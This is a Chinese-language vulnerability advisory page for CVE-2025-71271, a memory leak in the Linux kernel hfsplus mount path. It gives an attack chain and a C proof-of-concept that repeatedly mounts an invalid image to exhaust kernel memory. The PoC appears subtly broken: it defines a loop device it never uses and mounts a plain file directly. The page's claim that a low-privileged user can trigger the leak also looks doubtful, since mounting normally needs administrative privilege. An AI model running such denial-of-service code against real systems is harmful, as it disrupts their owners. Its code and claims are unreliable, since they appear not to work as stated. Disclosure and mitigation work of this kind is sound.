IPBUF安全漏洞报告
English
CVE-2025-71271 CVSS 5.5 中危

CVE-2025-71271 Linux内核hfsplus内存泄漏漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71271
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelMemory LeakDoSLocalhfsplus

漏洞概述

Linux内核hfsplus文件系统在转换到新的mount API时存在资源管理错误漏洞。当sget_fc()分配超级块后,如果setup_bdev_super()执行失败,且hfsplus_fill_super()尚未接管文件系统特定数据,会导致sb->s_fs_info内存泄漏。本地攻击者可利用此漏洞造成系统资源耗尽。

技术细节

该漏洞源于Linux内核hfsplus驱动程序在适配新的mount API时引入的内存管理错误。在挂载流程中,sget_fc()首先分配超级块结构。如果在随后的setup_bdev_super()步骤中调用失败,系统将直接执行清理逻辑,而此时负责初始化的hfsplus_fill_super()尚未被调用,导致挂载在sb->s_fs_info上的hfsplus特定信息未被释放。由于这是内核态的内存泄漏,无法通过用户态手段自动回收。本地低权限攻击者可通过编写脚本,反复尝试挂载无效或特制的HFS+文件系统镜像,持续触发该错误路径,从而耗尽系统内核内存资源,导致系统卡顿或崩溃。

攻击链分析

STEP 1
1. 获取本地访问权限
攻击者需要具备本地系统的低权限用户账号。
STEP 2
2. 构造触发环境
准备一个无效或特制的HFS+文件系统镜像,或者利用现有设备触发挂载失败。
STEP 3
3. 执行挂载操作
攻击者编写脚本反复调用mount系统调用,尝试挂载该无效镜像。
STEP 4
4. 触发内存泄漏
每次mount在setup_bdev_super()阶段失败时,sb->s_fs_info未被释放,导致内核内存泄漏。
STEP 5
5. 拒绝服务
随着操作次数增加,内核内存耗尽,导致系统崩溃或无响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2025-71271 (Memory Leak in hfsplus) * This script attempts to trigger the memory leak by repeatedly * mounting a file as an hfsplus filesystem to force the failure path. * * Compile: gcc -o poc_hfsplus_leak poc_hfsplus_leak.c */ #include <stdio.h> #include <stdlib.h> #include <sys/mount.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #define LOOP_DEVICE "/dev/loop0" #define MOUNT_POINT "/mnt/hfsplus_test" #define TEST_IMAGE "corrupt_hfsplus.img" void create_dummy_image() { // Create a small dummy file that is not a valid hfsplus filesystem int fd = open(TEST_IMAGE, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) return; write(fd, "INVALID HFS DATA", 16); close(fd); } int main() { printf("[+] Attempting to trigger CVE-2025-71271...\n"); create_dummy_image(); mkdir(MOUNT_POINT, 0755); for (int i = 0; i < 1000; i++) { // Attempt to mount the invalid image. // This may trigger the setup_bdev_super failure path // if the kernel detects invalid superblock early enough after allocation. if (mount(TEST_IMAGE, MOUNT_POINT, "hfsplus", MS_RDONLY, NULL) == 0) { umount(MOUNT_POINT); } printf("Attempt %d\n", i); } printf("[+] Done. Check kernel memory usage (slabtop) for leaks.\n"); return 0; }

影响范围

Linux Kernel (v6.x specific versions, see fix commits)

防御指南

临时缓解措施
如果不需要使用HFS+文件系统,可以通过modprobe -r hfsplus卸载该模块,或将其加入blacklist.conf黑名单以禁止加载,从而阻断漏洞利用路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表